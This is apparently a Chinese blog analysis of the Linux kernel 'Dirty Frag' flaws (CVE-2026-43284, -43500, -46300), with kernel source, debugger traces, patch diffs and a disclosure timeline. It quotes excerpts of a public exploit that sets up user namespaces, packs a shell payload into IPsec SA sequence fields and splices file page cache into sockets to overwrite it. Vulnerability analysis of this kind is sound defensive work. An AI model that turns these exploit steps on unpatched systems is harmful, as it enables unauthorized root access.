CVE-2026-43284 CVE-2026-43500 CVE-2026-46300 Dirty Frag 漏洞分析 --前车之鉴,后事之师
文章目录
- 简介
- ipsec esp esn
- 创建SA
- splice
- 补丁
- __ip_append_data
- esp_input
- CVE-2026-43500
- CVE-2026-46300
- 总结
- 漏洞纰漏流程
- 参考
简介
CVE-2026-43284需启用以下config:
CONFIG_INET_ESP CONFIG_AF_RXRPC # esp模式使用 CONFIG_USER_NS CONFIG_NET_NS CONFIG_XFRM CONFIG_XFRM_USERCVE-2026-43500需启用以下config:
CONFIG_CRYPTO_USER_API_SKCIPHER CONFIG_RXKAD CONFIG_CRYPTO_PCBC CONFIG_CRYPTO_FCRYPT这次的漏洞是Copy Fail的延伸,漏洞分析过程在Copy Fail已知的关键位置中,不再从poc完整分析
- CVE-2026-31431 Copy Fail 漏洞分析 --通往地狱的道路充满了善意 .md
使用的poc:V4bel/dirtyfrag/exp.c
poc中包含两个模式,CVE-2026-43284介绍poc的esp模式:exp --force-esp
CVE-2026-43500、CVE-2026-46300的漏洞在CVE-2026-43284基础上高度相似,看懂CVE-2026-43284就能秒懂两外两个漏洞的补丁,仅主要分析CVE-2026-43284
内核代码注释
ipsec esp esn
参考CVE-2026-31431 Copy Fail 漏洞分析 --通往地狱的道路充满了善意 .md文章中的这张图,覆盖页面发生在sequence hight覆盖icv部分,而ipsec协议中,sql_h是双方自己保存的一个状态,放在SA安全联盟中(SA双方自己保存)
本次漏洞是发起ipsec实现,所以poc的第一步是创建SA,将需要覆盖的新消息放到SA的esn->seq_hi位置
创建SA
IPsec SA(Security Association,安全联盟)是IPsec对等体间对某些要素的约定,例如,使用的安全协议、协议报文的封装模式、认证算法、加密算法、特定流中保护数据的共享密钥以及密钥的生存时间等。
poc的第一步,创建新的ns,在新的ns中将普通用户映射成root,因为只有root(ns中的root也算)才可以创建SA
/root/qemu/linux-6.6.58/dirtyfrag/exp.c: 102 static void setup_userns_netns(void) { uid_t real_uid = getuid(); gid_t real_gid = getgid(); if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) { // 创建ns SLOG("unshare: %s", strerror(errno)); exit(1); } write_proc("/proc/self/setgroups", "deny"); // 为在新ns中映射uid准备 char map[64]; snprintf(map, sizeof(map), "0 %u 1", real_uid); if (write_proc("/proc/self/uid_map", map) < 0) { // 新ns中映射uid为root SLOG("uid_map: %s", strerror(errno)); exit(1); } snprintf(map, sizeof(map), "0 %u 1", real_gid); if (write_proc("/proc/self/gid_map", map) < 0) { // 新ns中映射gid SLOG("gid_map: %s", strerror(errno)); exit(1); }接下来,不断调用add_xfrm_sa函数创建SA
- spi 每一条ipsec通道标识 每一条通道里设置一次seqhi
- seqhi 用来替换的新的值 将会替换用户文件
static int corrupt_su(void) { setup_userns_netns(); // 创建ns,映射uid、gid /* Install 40 xfrm SAs, one per 4-byte chunk. Each carries the * desired payload word in its seq_hi field. */ for (int i = 0; i < PAYLOAD_LEN / 4; i++) { uint32_t spi = 0xDEADBE10 + i; // 每一条ipsec通道标识 uint32_t seqhi = ((uint32_t)shell_elf[i*4 + 0] << 24) | ((uint32_t)shell_elf[i*4 + 1] << 16) | ((uint32_t)shell_elf[i*4 + 2] << 8) | ((uint32_t)shell_elf[i*4 + 3]); if (add_xfrm_sa(spi, seqhi) < 0) { // 新的SA,包含指定的spi和seqhi/root/qemu/linux-6.6.58/dirtyfrag/exp.c: 130 static int add_xfrm_sa(uint32_t spi, uint32_t patch_seqhi) { ...... struct xfrm_usersa_info *xs = (struct xfrm_usersa_info *)NLMSG_DATA(nlh); xs->id.spi = htonl(spi); esn->seq_hi = patch_seqhi; ... 创建SA ...splice
接下来,poc不断创建ipsec通信,每次一个报文修改4字节的形式修改文件page cache
for (int i = 0; i < PAYLOAD_LEN / 4; i++) { uint32_t spi = 0xDEADBE10 + i; off_t off = PATCH_OFFSET + i * 4; if (do_one_write(TARGET_PATH, off, spi) < 0) { SLOG("do_one_write #%d at off=0x%lx failed", i, (long)off); return -1; } }修改page cache通过do_one_write函数实现,首先是手动构造ipsec esp hdr和16字节的加密数据,加密数据是否可解密不重要,通过vmsplice引入到管道中,这时候的vmsplice虽然是把hdr所在的用户态page引入到pipe中,不过不重要,用write也一样。
/root/qemu/linux-6.6.58/dirtyfrag/exp.c: 257 uint8_t hdr[24]; *(uint32_t*)(hdr + 0) = htonl(spi); // 4 *(uint32_t*)(hdr + 4) = htonl(SEQ_VAL); // sn_low memset(hdr + 8, 0xCC, 16); // 16 struct iovec iov_h = { .iov_base = hdr, .iov_len = sizeof(hdr) }; if (vmsplice(pfd[1], &iov_h, 1, 0) != (ssize_t)sizeof(hdr)) { // hdr的page放在pipe->buf[pipe->head]中,占用pipe的第一个bufssplice需要成对调用,第一个发生在这里:
把文件的page cache引入到pipe的第二个buf中,这时候引入16字节相当于icv的大小,实现细节参考CVE-2026-31431 Copy Fail 漏洞分析 --通往地狱的道路充满了善意 .md
/root/qemu/linux-6.6.58/dirtyfrag/exp.c: 267 ssize_t s = splice(file_fd, &off, pfd[1], NULL, 16, SPLICE_F_MOVE); // 文件的page引入pipe,16字节的icv,第二个bufssplice成对,后面一段splice发生在要把数据写入到socket中
/root/qemu/linux-6.6.58/dirtyfrag/exp.c: 271 s = splice(pfd[0], NULL, sk_send, NULL, 24 + 16, SPLICE_F_MOVE); // pipe中的内容发送sk_send中splice根据传入的两端类型,由管道到socket,会使用splice_to_socket,这里完成将管道的page引用打包为socket处理需要的struct msghdr结构,给这条msg添加上MSG_SPLICE_PAGESflag,这时候,文件的page cache正式进入网络模块中。
ssize_t splice_to_socket(struct pipe_inode_info *pipe, struct file *out, loff_t *ppos, size_t len, unsigned int flags) { struct socket *sock = sock_from_file(out); struct bio_vec bvec[16]; struct msghdr msg = {}; while (len > 0) { unsigned int head, tail, mask, bc = 0; size_t remain = len; // 剩余需要传送的Byte head = pipe->head; tail = pipe->tail; mask = pipe->ring_size - 1; while (!pipe_empty(head, tail)) { struct pipe_buffer *buf = &pipe->bufs[tail & mask]; size_t seg; seg = min_t(size_t, remain, buf->len); // 一次传送的大小 bvec_set_page(&bvec[bc++], buf->page, seg, buf->offset); // bv->bv_page = page; bv->bv_len = len; bv->bv_offset = offset; 这里直接传递的page,而不是拷贝数据 remain -= seg; if (remain == 0 || bc >= ARRAY_SIZE(bvec)) break; tail++; } msg.msg_flags = MSG_SPLICE_PAGES; // 后面协议栈ip层处理会用到 iov_iter_bvec(&msg.msg_iter, ITER_SOURCE, bvec, bc, len - remain); // 后面的信息都组装到msg.msg_iter中 ret = sock_sendmsg(sock, &msg);#0 splice_to_socket (pipe=<optimized out>, out=0xffff8880056bce00, ppos=<optimized out>, len=40, flags=1) at fs/splice.c:879 #1 0xffffffff8138bcfc in do_splice_from (flags=72425472, len=40, ppos=0xffffc900006ffe38, out=0xffff8880056bce00, pipe=0xffff88800569acc0) at fs/splice.c:933 #2 do_splice (in=in@entry=0xffff888006d3e900, off_in=off_in@entry=0x0 <fixed_percpu_data>, out=out@entry=0xffff8880056bce00, off_out=off_out@entry=0x0 <fixed_percpu_data>, len=len@entry=40, flags=<optimized out>, flags@entry=1) at fs/splice.c:1292 #3 0xffffffff8138c3f2 in __do_splice (in=in@entry=0xffff888006d3e900, off_in=off_in@entry=0x0 <fixed_percpu_data>, out=out@entry=0xffff8880056bce00, off_out=off_out@entry=0x0 <fixed_percpu_data>, len=len@entry=40, flags=flags@entry=1) at fs/splice.c:1370 #4 0xffffffff8138c559 in __do_sys_splice (flags=1, len=40, off_out=0x0 <fixed_percpu_data>, fd_out=<optimized out>, off_in=0x0 <fixed_percpu_data>, fd_in=<optimized out>) at fs/splice.c:1586 #5 __se_sys_splice (flags=1, len=40, off_out=0, fd_out=<optimized out>, off_in=0, fd_in=<optimized out>) at fs/splice.c:1568 #6 __x64_sys_splice (regs=<optimized out>) at fs/splice.c:1568poc是用udp承载数据包,udp_sendmsg是udp报文入口,在这里先组装ip报文,再继续发送
/root/qemu/linux-6.6.58/net/ipv4/udp.c: 1059 int udp_sendmsg(struct sock *sk, struct msghdr *msg, size_t len) { skb = ip_make_skb(sk, fl4, getfrag, msg, ulen, sizeof(struct udphdr), &ipc, &rt, &cork, msg->msg_flags); // 组装成ip包放到sk中 err = PTR_ERR(skb); if (!IS_ERR_OR_NULL(skb)) err = udp_send_skb(skb, fl4, &cork); // 从这里发送 走到esp_input在组装成ip报文时候flags来自于msg->msg_flags,即splice_to_socket: msg.msg_flags = MSG_SPLICE_PAGES; // 后面协议栈ip层处理会用到
这时将msg中的两个page引用转到到skb->frags中,表示有两个片段
/root/qemu/linux-6.6.58/net/ipv4/ip_output.c: 951 static int __ip_append_data(struct sock *sk, struct flowi4 *fl4, struct sk_buff_head *queue, struct inet_cork *cork, struct page_frag *pfrag, int getfrag(void *from, char *to, int offset, int len, int odd, struct sk_buff *skb), void *from, int length, int transhdrlen, unsigned int flags) { ...... } else if (flags & MSG_SPLICE_PAGES) { struct msghdr *msg = from; err = -EIO; if (WARN_ON_ONCE(copy > msg->msg_iter.count)) goto error; err = skb_splice_from_iter(skb, &msg->msg_iter, copy, sk->sk_allocation); // iter中的page都将引用转移到skb->frags中经过网络层其他处理之后,来到了ipsec的大门,esp_input负责调整ipsec报文,并将报文交给authencesn模块负责认证和解密
在esp_input的一开始,skb状态如下:
两个片段区,分别是pipe中传入的esp头 + ct和icv两个片段
-exec p ((struct skb_shared_info *)0xffff8880047fcc40)->nr_frags $4 = 2 '\002' -exec p ((struct skb_shared_info *)0xffff8880047fcc40)->frags $3 = {{bv_page = 0xffffea000017cdc0, bv_len = 16, bv_offset = 1208}, {bv_page = 0xffffea000017a9c0, bv_len = 16, bv_offset = 28}esp_input->pskb_may_pull->__pskb_pull_tail刚开始时会先保证头部位于线性区,即会将skb_shinfo(skb)->nr_frags[0]的内容拷贝到线性区中,skb_shinfo(skb)->nr_frags[0]所在page就不用了,skb_shinfo(skb)->nr_frags还剩下文件的page cache一个片段
/root/qemu/linux-6.6.58/net/ipv4/esp4.c: 877 static int esp_input(struct xfrm_state *x, struct sk_buff *skb) // ESP 输入处理入口 — 设置 AEAD 解密请求 { if (!pskb_may_pull(skb, sizeof(struct ip_esp_hdr) + ivlen)) // 线性区至少有hdr + iv的大小,esp_input_set_header会直接使用skb指针指向连续区 goto out;/root/qemu/linux-6.6.58/net/core/skbuff.c: 2652 void *__pskb_pull_tail(struct sk_buff *skb, int delta) { /* If skb has not enough free space at tail, get new one * plus 128 bytes for future expansions. If we have enough * room at tail, reallocate without expansion only if skb is cloned. */ int i, k, eat = (skb->tail + delta) - skb->end; if (eat > 0 || skb_cloned(skb)) { if (pskb_expand_head(skb, 0, eat > 0 ? eat + 128 : 0, GFP_ATOMIC)) return NULL; } BUG_ON(skb_copy_bits(skb, skb_headlen(skb), skb_tail_pointer(skb), delta));接下来会处理esp消息,启用esn时将seq_h插入到spi和seq_l之间,else if (!skb_has_frag_list(skb))判断之后跳过了cow处理,也就是将page chache所在的片段通过err = skb_to_sgvec(skb, sg, 0, skb->len);交给了sg,现在sg中有两个page分别是skb的连续区(包括esp header ct)和page cache。接下来交给authencesn处理,最终触发漏洞。
assoclen = sizeof(struct ip_esp_hdr); // AAD = ESP 头(spi + seq_no) = 8字节 seqhilen = 0; if (x->props.flags & XFRM_STATE_ESN) { // 扩展序列号时 AAD 增加 4 字节 = 12字节 seqhilen += sizeof(__be32); assoclen += seqhilen; } if (!skb_cloned(skb)) { if (!skb_is_nonlinear(skb)) { nfrags = 1; goto skip_cow; } else if (!skb_has_frag_list(skb)) { // 引发漏洞会走到这里,跳过cow,修复补丁修复这里 nfrags = skb_shinfo(skb)->nr_frags; // page fragment 数量 nfrags++; goto skip_cow; } } err = skb_cow_data(skb, 0, &trailer); if (err < 0) goto out; nfrags = err; skip_cow: err = -ENOMEM; tmp = esp_alloc_tmp(aead, nfrags, seqhilen); // 后面一系列操作所需的临时内存 if (!tmp) goto out; ESP_SKB_CB(skb)->tmp = tmp; // ((struct esp_skb_cb *)&((__skb)->cb[0]))->tmp = tmp; seqhi = esp_tmp_extra(tmp); // seqhi = tmp iv = esp_tmp_iv(aead, tmp, seqhilen); // iv = tmp + 4 req = esp_tmp_req(aead, iv); // req = align(iv + crypto_aead_ivsize(aead)) sg = esp_req_sg(aead, req); // sg = align(req + crypto_aead_reqsize(aead)) esp_input_set_header(skb, seqhi); // esp时修改报文spi + sn_l之间插入sn_h,原来提前的值保存到seqhi,esp_input_restore_header中恢复 sg_init_table(sg, nfrags); err = skb_to_sgvec(skb, sg, 0, skb->len); // 将skb数据(包括线性区和frag)引用到 scatterlist if (unlikely(err < 0)) { kfree(tmp); goto out; } skb->ip_summed = CHECKSUM_NONE; if ((x->props.flags & XFRM_STATE_ESN)) aead_request_set_callback(req, 0, esp_input_done_esn, skb); // 恢复header的回调 else aead_request_set_callback(req, 0, esp_input_done, skb); aead_request_set_crypt(req, sg, sg, elen + ivlen, iv); // req->src/dst 都是sg,原地优化 aead_request_set_ad(req, assoclen); // req->assoclen = assoclen; 设置 AAD 长度 12 err = crypto_aead_decrypt(req); if (err == -EINPROGRESS) goto out; if ((x->props.flags & XFRM_STATE_ESN)) esp_input_restore_header(skb); // 恢复修改的报文 err = esp_input_done2(skb, err); out: return err; }补丁
补丁xfrm: esp: avoid in-place decrypt on shared skb frags修改了两处地方,一处是__ip_append_data路径中,添加SKBFL_SHARED_FRAG
__ip_append_data
diff --git a/net/ipv4/ip_output.c b/net/ipv4/ip_output.c index e4790cc7b5c2..5bcd73cbdb41 100644 --- a/net/ipv4/ip_output.c +++ b/net/ipv4/ip_output.c @@ -1233,6 +1233,8 @@ static int __ip_append_data(struct sock *sk, if (err < 0) goto error; copy = err; + if (!(flags & MSG_NO_SHARED_FRAGS)) + skb_shinfo(skb)->flags |= SKBFL_SHARED_FRAG; wmem_alloc_delta += copy; } else if (!zc) { int i = skb_shinfo(skb)->nr_frags;SKBFL_SHARED_FRAGflag是已经存在的flag,标记skb中的page是来自于splice这样类似的系统调用(sendfile现在也是用的splice)
/root/qemu/linux-6.6.58/include/linux/skbuff.h: 506 /* This indicates at least one fragment might be overwritten * (as in vmsplice(), sendfile() ...) * If we need to compute a TX checksum, we'll need to copy * all frags to avoid possible bad checksum */ SKBFL_SHARED_FRAG = BIT(1),这里相当于补齐了原本ip数据包处理时应该有的逻辑,来自splice引入的flag给skb_shinfo(skb)->flags添上SKBFL_SHARED_FRAGflag
/root/qemu/linux-6.6.58/net/ipv4/ip_output.c: 951 static int __ip_append_data(struct sock *sk, struct flowi4 *fl4, struct sk_buff_head *queue, struct inet_cork *cork, struct page_frag *pfrag, int getfrag(void *from, char *to, int offset, int len, int odd, struct sk_buff *skb), void *from, int length, int transhdrlen, unsigned int flags) { ...... } else if (flags & MSG_SPLICE_PAGES) { struct msghdr *msg = from; err = -EIO; if (WARN_ON_ONCE(copy > msg->msg_iter.count)) goto error; err = skb_splice_from_iter(skb, &msg->msg_iter, copy, sk->sk_allocation); // iter中的page都将引用转移到skb->frags中 if (!(flags & MSG_NO_SHARED_FRAGS)) skb_shinfo(skb)->flags |= SKBFL_SHARED_FRAG; // ((struct skb_shared_info*)(skb->head + skb->end))->flags |= SKBFL_SHARED_FRAGSKBFL_SHARED_FRAG 标记影响skb的所有frag,不是每个frag的私有flag,内核这样做的逻辑是只让一个是shared就所有都要cow,简化操作。
这里的补齐也和其他几个关联CVE有关,后面会介绍到
esp_input
在上面添加好SKBFL_SHARED_FRAG之后,esp_input处理ipsec报文时就会不跳过COW,复制报文对复制后的报文进行处理
diff --git a/net/ipv4/esp4.c b/net/ipv4/esp4.c index 6dfc0bcdef65..6a5febbdbee4 100644 --- a/net/ipv4/esp4.c +++ b/net/ipv4/esp4.c @@ -873,7 +873,8 @@ static int esp_input(struct xfrm_state *x, struct sk_buff *skb) nfrags = 1; goto skip_cow; - } else if (!skb_has_frag_list(skb)) { // 引发漏洞会走到这里,跳过cow,修复补丁修复这里 + } else if (!skb_has_frag_list(skb) && + !skb_has_shared_frag(skb)) { // 现在有SKBFL_SHARED_FRAG后不会跳过cow步骤了 nfrags = skb_shinfo(skb)->nr_frags; // page fragment 数量 nfrags++; goto skip_cow; } } err = skb_cow_data(skb, 0, &trailer); // 现在会把frag中的消息拷贝到连续区了 if (err < 0) goto out; nfrags = err; skip_cow: err = -ENOMEM; tmp = esp_alloc_tmp(aead, nfrags, seqhilen); // 后面一系列操作所需的临时内存 ...... sg_init_table(sg, nfrags); err = skb_to_sgvec(skb, sg, 0, skb->len); // 将skb数据(包括线性区和frag)引用到 scatterliststatic inline bool skb_has_shared_frag(const struct sk_buff *skb) { return skb_is_nonlinear(skb) && skb_shinfo(skb)->flags & SKBFL_SHARED_FRAG;skb_cow_data->__pskb_pull_tail会将剩余的片段全部拷贝到连续区中
/root/qemu/linux-6.6.58/net/core/skbuff.c: 5020 int skb_cow_data(struct sk_buff *skb, int tailbits, struct sk_buff **trailer) { if ((skb_cloned(skb) || skb_shinfo(skb)->nr_frags) && !__pskb_pull_tail(skb, __skb_pagelen(skb))) return -ENOMEM;这样icv放到了连续区,后续的sg_init_table(sg, nfrags);只有一个page即连续区的page
由于本次漏洞收到的影响来自于splice引入的skb_shinfo(skb)->frags,故得名dirty frag
后面几个CVE都和本次修复有联系
CVE-2026-43500
rxrpc 模块是其中的 RxRPC 协议实现,用于支持远程过程调用。
受影响版本中,rxrpc_input_call_event() 函数和 rxrpc_verify_response() 函数在处理 DATA/RESPONSE 数据包时,仅检查 skb_cloned(skb) 条件来判断是否需要复制 skb。但未克隆但仍携带外部拥有的分页片段(通过 splice() 设置 SKBFL_SHARED_FRAG 或链式 skb_has_frag_list())的 skb 会绕过检查,直接进入原地解密路径,通过 skb_to_sgvec() 将外部 frag 页面绑定到 AEAD/skcipher SGL,可能导致敏感数据泄露或内存损坏。
修复版本中通过在判断条件中增加 skb_has_frag_list(skb) || skb_has_shared_frag(skb) 检查,确保在 skb 携带外部共享片段时也执行 unshare 操作,避免在原地解密过程中访问外部共享的内存页面。
rxrpc: Also unshare DATA/RESPONSE packets when paged frags are present
diff --git a/net/rxrpc/call_event.c b/net/rxrpc/call_event.c index fdd683261226c..2b19b252225e5 100644 --- a/net/rxrpc/call_event.c +++ b/net/rxrpc/call_event.c @@ -334,7 +334,9 @@ bool rxrpc_input_call_event(struct rxrpc_call *call) if (sp->hdr.type == RXRPC_PACKET_TYPE_DATA && sp->hdr.securityIndex != 0 && - skb_cloned(skb)) { + (skb_cloned(skb) || + skb_has_frag_list(skb) || + skb_has_shared_frag(skb))) { /* Unshare the packet so that it can be * modified by in-place decryption. */这个漏洞也是因为splice将page cache引入skb->frag中后,再被原地优化引入到加密子系统中,加密子系统原地读写造成的
在CVE-2026-43284的补丁上半部位于__ip_append_data中,当时来自splice引入的msg补充到skb中时添加了SKBFL_SHARED_FRAG后,rxrpc模块内也做相应的处理继续cow即可,修复方案和CVE-2026-43284下半部分在esp_input中的处理如出一辙。
CVE-2026-46300
net/core/skbuff.c 的 skb_try_coalesce() 函数在转移分页 fragment 时,未将 SKBFL_SHARED_FRAG 标志同步传播至目标 skb_shinfo->flags(缺陷自 2013 年提交 cef401de7be8 起潜伏)。Linux 5.1 引入 espintcp 模块后,该缺陷获得可利用的触发路径:XFRM ESP-in-TCP 接收路径因 skb_has_shared_frag() 返回错误的 false,绕过 skb_cow_data() 写时复制保护,对 page cache 映射页面执行 AES-GCM 原地解密,将密钥流字节 XOR 写入只读文件的内核页缓存,非特权本地用户可借此将 SUID 可执行文件的页缓存副本替换为恶意载荷,完成本地提权至 root。
net: skbuff: preserve shared-frag marker during coalescing
diff --git a/net/core/skbuff.c b/net/core/skbuff.c index 7dad68e3b5186..9c4e8d331d6db 100644 --- a/net/core/skbuff.c +++ b/net/core/skbuff.c @@ -6200,6 +6200,8 @@ bool skb_try_coalesce(struct sk_buff *to, struct sk_buff *from, from_shinfo->frags, from_shinfo->nr_frags * sizeof(skb_frag_t)); to_shinfo->nr_frags += from_shinfo->nr_frags; + if (from_shinfo->nr_frags) + to_shinfo->flags |= from_shinfo->flags & SKBFL_SHARED_FRAG; if (!skb_cloned(from)) from_shinfo->nr_frags = 0;CVE-2026-43500的补丁内容和CVE-2026-43284补丁的下半部分高度相似,而这个CVE-2026-46300和CVE-2026-43284的上半部分高度相似
skb_try_coalesce函数作用于把from包和to包合并,合并的过程中把from的SKBFL_SHARED_FRAGflag继承到to中,补齐CVE-2026-43284遗漏的合并报文处理。
在CVE-2026-31431利用af_alg -> authencesn(ipsec的一个功能子集)的基础上,CVE-2026-43284完整利用了ipsec协议再度发现漏洞
CVE-2026-43500、CVE-2026-46300又在CVE-2026-43284之上继续发现类似漏洞。。。
总结
flowchart LR A[splice 零拷贝<br>将文件 page cache<br>引入 pipe buffer] --> B[splice pipe→socket<br>MSG_SPLICE_PAGES<br>进入 skb->frags] B --> C[skb_splice_from_iter<br>添加 page 到 frags] C --> D[skb_shinfo->flags<br>缺失 SKBFL_SHARED_FRAG] D --> E[esp_input / rxrpc / skb_try_coalesce<br>认为 frags 是私有内存] E --> F[skb_to_sgvec → crypto<br>原地解密<br>直接写入 page cache] F --> G[文件内存被改<br>磁盘未变]三环相扣:
- CVE-2026-43284 上半部(
ip_output.c):补齐 splice 路径中SKBFL_SHARED_FRAG标记的缺失——来自sendfile/vmsplice的 page 被直接放入 skb->frags,但没有通知后续处理者"这些 page 可能被外部篡改" - CVE-2026-43284 下半部(
esp4.c):有了标记后,ESP 路径的skb_cow_data条件检查!skb_has_shared_frag(skb),命中后强制 copy,避免原地解密写入 page cache - CVE-2026-43500(
rxrpc/call_event.c):RxRPC 的 DATA/RESPONSE 解密路径有同样的绕过问题,修复模式与 esp4.c 如出一辙——在skb_cloned检查旁增加skb_has_shared_frag检查 - CVE-2026-46300(
skbuff.c):skb_try_coalesce合并 skb 时未传播SKBFL_SHARED_FRAG标记,导致被合并的 skb 丢失 shared 属性,ESP-in-TCP 作为新的触发入口
Copy Fail (CVE-2026-31431) ── AF_ALG + splice + 原地解密 → 写 page cache Dirty Frag (CVE-2026-43284 等三个) ── 协议栈 + splice + 原地解密 → 写 page cache前车之鉴,后事之师
漏洞纰漏流程
2026-04-30: 向 security@kernel.org 提交了关于 esp 漏洞的详细信息以及一个可在多个主要发行版上获取 root 权限的武器化利用程序。
2026-04-30: 向 netdev 邮件列表提交了 esp 漏洞的补丁。该问题的信息已公开发布。
2026-04-30 (+9h): Kuan-Ting Chen 向 security@kernel.org 提交了 esp 漏洞的报告,并附带了一个复现程序。
2026-05-04: Kuan-Ting Chen 向 netdev 邮件列表提交了 shared-frag 方法补丁。
2026-05-07: 补丁已合并到 netdev 树中。
2026-05-07: 向 linux-distros 邮件列表提交了关于漏洞和利用程序的详细信息。设置了 5 天的禁运期,并达成协议,如果第三方在禁运期内将利用程序发布到互联网上,Dirty Frag 的利用程序将公开发布。
2026-05-07: 详细信息和该漏洞的利用程序被一个无关的第三方公开发布,打破了禁令。
2026-05-07:在获得分发维护者的同意后,完全公开了 Dirty Frag,并发布了整个 Dirty Frag 文档。
2026-05-08: 补丁 f4c50a4034e6 已合并到主线。
2026-05-08: 该漏洞被分配了 CVE-2026-43284 编号。
内核社区文档:
“Any exploit code is very helpful and will not be released without consent from the reporter unless it has already been made public.”
(任何漏洞利用代码都很有帮助,未经报告者同意不得发布,除非它已经公开。
- Documentation/process/security-bugs.rst
该CVE向 security@kernel.org 提交了 esp 漏洞的报告,并附带了一个复现程序,导致这个CVE在社区处理、获得CVE编号前被武器化使用。
参考
- Github V4bel/dirtyfrag
- xfrm: esp: avoid in-place decrypt on shared skb frags
- 阿里云漏洞库 Linux kernel xfrm-ESP Dirty Frag 本地提权漏洞(CVE-2026-43284)
- CVE-2026-31431 Copy Fail 漏洞分析 --通往地狱的道路充满了善意 .md
- Documentation/process/security-bugs.rst
- 阿里云漏洞库 Linux Kernel Fragnesia 本地权限提升漏洞(CVE-2026-46300)
- 阿里云漏洞库 Linux kernel rxrpc模块skb共享碎片处理漏洞(CVE-2026-43500)
- bilibili 精彩网络技术 10.4 IPSec基本概念、IKE协议
- rfc4303: IP Encapsulating Security Payload (ESP)
